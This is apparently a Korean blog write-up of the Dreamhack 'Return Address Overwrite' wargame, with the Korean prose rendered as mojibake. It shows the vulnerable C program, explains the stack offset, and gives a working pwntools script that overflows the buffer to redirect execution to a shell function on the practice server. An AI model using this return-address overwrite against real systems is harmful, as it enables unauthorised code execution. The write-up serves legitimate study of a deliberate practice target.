๋ฌธ์ ํ์ด
๋๋ฌด ์ง์ณ์.. ๋ฌธ์ ํ์ด๋ ํ๋๋ง ํ ๊น์?
get_shell ํจ์๋ฅผ ํ์ฉ
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
์ ์ฝ๋๊ฐ ๋ฌธ์ ์์ ์ ๊ณต๋๋ ์ฝ๋์ธ๋ฐ ํ์ธํด ๋ณด์๋ฉด
get_shell์ด๋ผ๋ ํจ์๊ฐ ์นํ ์จ์ฃผ์ธ์ ํ๊ณ execve๋ก ์คํ์ ์์ผ์ฃผ์๋ค์
์ฐธ๊ณ ๋ก execve๋ cmd์ฐฝ์ด๋ผ๊ณ ์๊ฐํ์๋ฉด ๋์ค ๊ฑฐ ๊ฐ๋ค์
gcc -o rao rao.c -fno-stack-protector -no-pie
์์ฒ๋ผ ํ์ ์ ์คํ ํ์ผ๋ก ๋ง๋์๊ณ ๋ก์ปฌ๋ก ์ฒ์์ ์คํ์ ํด๋ด ์๋ค.
์ ๋ฌธ์ ์์ ์ทจ์ฝํ ์ฝ๋๊ฐ scanf๋ก์จ ๊ทธ ์ด์ ๋
Memory Corruption: Stack Buffer Overflow
์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ(Stack Buffer Overflow) ์ธ๊ณ ์ต์ด์ ์์ด๋ผ๊ณ ๋ถ๋ฆฌ๋ ๋ชจ๋ฆฌ์ค ์๋ ์ด ๊ณต๊ฒฉ์ ํตํด ์ ํ๋จ ๋ณด์ ๊ณต๋ถ๋ฅผ ๋ชจ๋ฅด๋ ๊ฐ๋ฐ์๋ ์๋งํผ ์ ๋ช ํ๊ณ ์ญ์ฌ๊ฐ ์ค๋๋ ์ทจ์ฝ์ ์ ๋๋ค. ์ด๋ ๊ฒ
dystopia050119.tistory.com
์ ์ฌ์ดํธ๋ฅผ ์ฐธ๊ณ ํ์๊ณ , buf๊ฐ 0x28(40 byte)๋ก ํ์ธํ์ค ์ ์์ผ๋,
์ธ์๋ฅผ ํ์ธ์ ์ํ๊ธฐ์ BOF๋ฅผ ์ํค๋ ๋ฌธ์ ์ด์ฃ RET๋ฅผ get_shell ํจ์๋ก ํ์๊ณ ์ ใ
๋ถ์ํ์๋ฉด lea๋ก ๋ฐํํ๋ main+45์ธ 0x402014๋ฅผ ํ์ธํ๋ฉด '%s'๋ก ํ์ธ ๊ฐ๋ฅํ์ฃ
๊ทธ๋ฆฌ๊ณ ๋ฐ๋ก scanf๋ฅผ ํธ์ถํ๊ธฐ์ ๋ํ ์์ main+4์ rsp๋ฅผ 0x30์ผ๋ก ์ด์ C์ฝ๋๋ฅผ ๋ณด๋ฉด
0x28์ธ๋ฐ ์ถ๊ฐ๋์์ฃ ์๋ง null๋ฅผ ๋ฃ์ด์ ๋๋จ์ ํ์ธํ๊ธฐ ์ํด์์
๋๋ค. (๋ฌธ์์ด์ด๋๊น ใ
)
์ด๊ฑฐ ๋ชจ๋ฅด์๋ฉด ์ ์ฒ๋ผ ์ฝ์ง ์ง์ง ๋ง์ด ํ ๊ฑธ์ ใ
๊ทธ๋ผ ํ์ธ์ ํด ์ ์ด๋ณด๋ฉด scanf("%s", 0x30); ์ด๊ฒ ์ฃ ??
๊ทธ๋ฆฌ๊ณ get_shell์ ์ฃผ์๋ฅผ ์์๋ณด๋ฉด 0x401199๋ก ๋ก์ปฌ ์ฃผ์์ ์ฝ๋๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
์ฐธ๊ณ ๋ก BOF๋ฅผ ๋ฐ์ํด์ผํ๊ธฐ์ ์
๋ ฅ์ ํ ๋์๋ A*0x30์ ๋๋ ํด์ผ๊ฒ ์ฃ
์, ๊ทธ๋ผ pwntools๋ก ์ฝ๋๋ฅผ ์ง์ ํ์ธํด๋ณด๋ฉด..
from pwn import *
#p = process('./rao') # ๋ก์ปฌ์์..
p = remote('host1.dreamhack.games', '10464') # ์๊ฒฉ(WarGame)
context.arch = 'amd64'
context.log_level = 'debug'
shellcode = b'A'*0x30
shellcode += b'B'*0x08
# shellcode += b'\99\x11\x40\x00\x00\x00\x00\x00 # ๋ก์ปฌ
shellcode += b'\xaa\x06\x40\x00\x00\x00\x00\x00' # ์๊ฒฉ
#p.sendafter('Input: ', shellcode)
p.recvuntil('Input: ')
p.sendline(shellcode)
p.interactive()
๋ก ์ฃผ์์ฒ๋ฌ๋๋๋ก ์ฌ์ฉํ์๊ณ ๋ถ์ํด๋ณด์๋ฉด pwntools์ ์ฌ์ฉ๋ฒ์ ์์๋ฉด ๋ฑํ
ํ ๋ง์ด ์๋ค์ ๋ชจ๋ฅด์๊ฒ ๋ค๋ฉด ...
Tool: pwntools
pwntools์ ๊ฐ๋จ ์ค๋ช ํ์ ๋ฐฐ๊ฒฝ๊ณผ ์ค์น ๋ฐฉ๋ฒ ์ง๋ ์๊ฐ์ ํ์ด์ฌ๊ณผ ํ์ดํ(|)๋ฅผ ํตํด ๊ฐ๋จํ ์คํ ์ค๋ฒํ๋ก์ฐ ์ต์คํ๋ก์์ ํ์ฃ ํ์ด์ฌ์ผ๋ก ํ์ด๋ก๋๋ฅผ ์์ฑํ๊ณ , ํ์ดํ๋ฅผ ํตํด ์ด๋ฅผ ํ๋ก๊ทธ๋จ
dystopia050119.tistory.com
ํ์ธ ํ์๋ฉด ๋๊ฒ ์ฃ .. ๊ทธ๋ผ local๊ณผ remote๋ฅผ ๊ฐ๊ฐ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํด๋ณด์๋ฉด..
ํ์ธ์ ์ํด debug๋ฅผ ํ๋๋ฐ ๊ฒฐ๊ณผํ๋ฉด์.. ๋ญ ์์ ์ด๊ธดํด์ ์ด์ ๋!
์ ๊ทธ๋ฆฌ๊ณ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ ์ ๋งํฌ์์ ์์ธํ๊ฒ ๋ ๊ธฐ์ ํ์๋๋ผ๊ณ ์
๋ฌธ์ ํ์ด๋ ์๋์ง๋ง ๋ฑํ ํฐ ์ฐจ์ด๋ ์์ ๊ฑฐ์์
[Pwnable ๊ธฐ์ด] Buffer Overflow์ทจ์ฝ์ ๊ณผ ์์ฝ๋
๊ฐ๋จํ ์์๋ฅผ ํตํด ๋ฒํผ์ค๋ฒํ๋ก์ฐ์ ๋ํด์ ์์๋ณด๊ฒ ์ต๋๋ค. ์์ค์ฝ๋ ๋ค์ด๋ก๋ : wget https://raw.githubusercontent.com/ICEB3AR/2020_Whois_Pwnable/main/week1/bof_poc.c ์ปดํ์ผ : gcc -fno-stack-protec..
dev.exd0tpy.xyz
์ฐธ๊ณ ์๋ฃ
Return Address Overwrite
Description Exploit Tech: Return Address Overwrite์์ ์ค์ตํ๋ ๋ฌธ์ ์ ๋๋ค.
dreamhack.io
Memory Corruption: Stack Buffer Overflow
์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ(Stack Buffer Overflow) ์ธ๊ณ ์ต์ด์ ์์ด๋ผ๊ณ ๋ถ๋ฆฌ๋ ๋ชจ๋ฆฌ์ค ์๋ ์ด ๊ณต๊ฒฉ์ ํตํด ์ ํ๋จ ๋ณด์ ๊ณต๋ถ๋ฅผ ๋ชจ๋ฅด๋ ๊ฐ๋ฐ์๋ ์๋งํผ ์ ๋ช ํ๊ณ ์ญ์ฌ๊ฐ ์ค๋๋ ์ทจ์ฝ์ ์ ๋๋ค. ์ด๋ ๊ฒ
dystopia050119.tistory.com
[Pwnable ๊ธฐ์ด] Buffer Overflow์ทจ์ฝ์ ๊ณผ ์์ฝ๋
๊ฐ๋จํ ์์๋ฅผ ํตํด ๋ฒํผ์ค๋ฒํ๋ก์ฐ์ ๋ํด์ ์์๋ณด๊ฒ ์ต๋๋ค. ์์ค์ฝ๋ ๋ค์ด๋ก๋ : wget https://raw.githubusercontent.com/ICEB3AR/2020_Whois_Pwnable/main/week1/bof_poc.c ์ปดํ์ผ : gcc -fno-stack-protec..
dev.exd0tpy.xyz
์ฐธ๊ณ ์ด๋ฏธ์ง
Return Address Overwrite
Description Exploit Tech: Return Address Overwrite์์ ์ค์ตํ๋ ๋ฌธ์ ์ ๋๋ค.
dreamhack.io
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
basic_exploitation_000 (0) | 2022.04.27 |
---|---|
Exploit Tech: Return Address Overwrite (0) | 2022.04.27 |
Memory Corruption: Stack Buffer Overflow (0) | 2022.04.21 |
Background: Calling Convention (0) | 2022.04.20 |
shell_basic (0) | 2022.04.19 |